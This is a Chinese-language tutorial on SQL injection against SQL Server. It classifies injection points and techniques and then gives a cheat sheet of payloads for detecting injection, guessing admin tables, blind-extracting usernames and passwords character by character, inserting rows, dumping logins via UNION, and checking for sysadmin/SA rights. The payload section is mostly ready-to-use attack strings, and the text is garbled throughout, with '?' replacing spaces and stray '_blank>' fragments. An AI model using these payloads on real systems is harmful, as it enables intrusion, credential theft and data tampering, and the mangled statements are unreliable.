sql注入語句有三種,分別是:1、數字型注入點,語句如“select * from 表名 where id=1 and 1=1”;2、字符型注入點,語句如“select * from 表名 where name…”;3、搜索型注入點。
本文操作環境:Windows7系統,SQL Server 2016版本,Dell G3電腦。
sql注入常用語句
SQL注入
1. 什么是sql注入
通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
2. sql注入類型
按照注入點類型來分類
(1)數字型注入點
許多網頁鏈接有類似的結構?http://xxx.com/users.php?id=1?基于此種形式的注入,一般被叫做數字型注入點,緣由是其注入點 id 類型為數字,在大多數的網頁中,諸如 查看用戶個人信息,查看文章等,大都會使用這種形式的結構傳遞id等信息,交給后端,查詢出數據庫中對應的信息,返回給前臺。這一類的 SQL 語句原型大概為?select * from 表名 where id=1?若存在注入,我們可以構造出類似與如下的sql注入語句進行爆破:select * from 表名 where id=1 and 1=1
(2)字符型注入點
網頁鏈接有類似的結構?http://xxx.com/users.php?name=admin?這種形式,其注入點 name 類型為字符類型,所以叫字符型注入點。這一類的 SQL 語句原型大概為?select * from 表名 where name=’admin’?值得注意的是這里相比于數字型注入類型的sql語句原型多了引號,可以是單引號或者是雙引號。若存在注入,我們可以構造出類似與如下的sql注入語句進行爆破:select * from 表名 where name=’admin’ and 1=1 ‘?我們需要將這些煩人的引號給處理掉。
(3)搜索型注入點
這是一類特殊的注入類型。這類注入主要是指在進行數據搜索時沒過濾搜索參數,一般在鏈接地址中有?“keyword=關鍵字”?有的不顯示在的鏈接地址里面,而是直接通過搜索框表單提交。此類注入點提交的 SQL 語句,其原形大致為:select * from 表名 where 字段 like ‘%關鍵字%’?若存在注入,我們可以構造出類似與如下的sql注入語句進行爆破:select * from 表名 where 字段 like ‘%測試%’ and ‘%1%’=’%1%’
按照數據提交的方式來分類
(1)GET 注入
提交數據的方式是 GET , 注入點的位置在 GET 參數部分。比如有這樣的一個鏈接http://xxx.com/news.php?id=1 , id 是注入點。
(2)POST 注入
使用 POST 方式提交數據,注入點位置在 POST 數據部分,常發生在表單中。
(3)Cookie 注入
HTTP 請求的時候會帶上客戶端的 Cookie, 注入點存在 Cookie 當中的某個字段中。
(4)HTTP 頭部注入
注入點在 HTTP 請求頭部的某個字段中。比如存在 User-Agent 字段中。嚴格講的話,Cookie 其實應該也是算頭部注入的一種形式。因為在 HTTP 請求的時候,Cookie 是頭部的一個字段。
按照執行效果來分類
(1)基于布爾的盲注
即可以根據返回頁面判斷條件真假的注入。
(2)基于時間的盲注
即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷。
(3)基于報錯注入
即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中。
- 單引號
- 雙引號
- 基于數字型注入
(4)聯合查詢注入
可以使用union的情況下的注入。
常用語句
1.判斷有無注入點? ;?and?1=1?and?1=2 2.猜表一般的表的名稱無非是admin?adminuser?user?pass?password?等..? and?0(select?count(*)?from?*)? and?0(select?count(*)?from?admin)?---判斷是否存在admin這張表 3.猜帳號數目?如果遇到00)--? and?1=(select?count(*)?from?admin?where?len(用戶字段名稱name)>0)? and?1=(select?count(*)?from?admin?where?len(_blank>密碼字段名稱password)>0) 5.猜解各個字段的長度?猜解長度就是把>0變換?直到返回正確頁面為止? and?1=(select?count(*)?from?admin?where?len(*)>0)? and?1=(select?count(*)?from?admin?where?len(name)>6)?錯誤? and?1=(select?count(*)?from?admin?where?len(name)>5)?正確?長度是6? and?1=(select?count(*)?from?admin?where?len(name)=6)?正確 and?1=(select?count(*)?from?admin?where?len(password)>11)?正確? and?1=(select?count(*)?from?admin?where?len(password)>12)?錯誤?長度是12? and?1=(select?count(*)?from?admin?where?len(password)=12)?正確 6.猜解字符? and?1=(select?count(*)?from?admin?where?left(name,1)=a)?---猜解用戶帳號的第一位? and?1=(select?count(*)?from?admin?where?left(name,2)=ab)---猜解用戶帳號的第二位? 就這樣一次加一個字符這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了? and?1=(select?top?1?count(*)?from?Admin?where?Asc(mid(pass,5,1))=51)?--? 這個查詢語句可以猜解中文的用戶和_blank>密碼.只要把后面的數字換成中文的ASSIC碼就OK.最后把結果再轉換成字符. group?by?users.id?having?1=1--? group?by?users.id,?users.username,?users.password,?users.privs?having?1=1--? ;?insert?into?users?values(?666,?attacker,?foobar,?0xffff?)-- UNION?SELECT?TOP?1?COLUMN_blank>_NAME?FROM?INFORMATION_blank>_SCHEMA.COLUMNS WHERE?TABLE_blank>_NAME=logintable-? UNION?SELECT?TOP?1?COLUMN_blank>_NAME?FROM?INFORMATION_blank>_SCHEMA.COLUMNS WHERE?TABLE_blank>_NAME=logintable?WHERE?COLUMN_blank>_NAME?NOT?IN?(login_blank >_id)-? UNION?SELECT?TOP?1?COLUMN_blank>_NAME?FROM?INFORMATION_blank>_SCHEMA.COLUMNS WHERE?TABLE_blank>_NAME=logintable?WHERE?COLUMN_blank>_NAME?NOT?IN?(login_blank >_id,login_blank>_name)-? UNION?SELECT?TOP?1?login_blank>_name?FROM?logintable-? UNION?SELECT?TOP?1?password?FROM?logintable?where?login_blank>_name=Rahul-- 看_blank>服務器打的補丁=出錯了打了SP4補丁? and?1=(select?@@VERSION)-- 看_blank>數據庫連接賬號的權限,返回正常,證明是_blank>服務器角色sysadmin權限。? and?1=(SELECT?IS_blank>_SRVROLEMEMBER(sysadmin))-- 判斷連接_blank>數據庫帳號。(采用SA賬號連接?返回正常=證明了連接賬號是SA)? and?sa=(SELECT?System_blank>_user)--? and?user_blank>_name()=dbo--? and?0(select?user_blank>_name()--
?推薦(免費):sql教程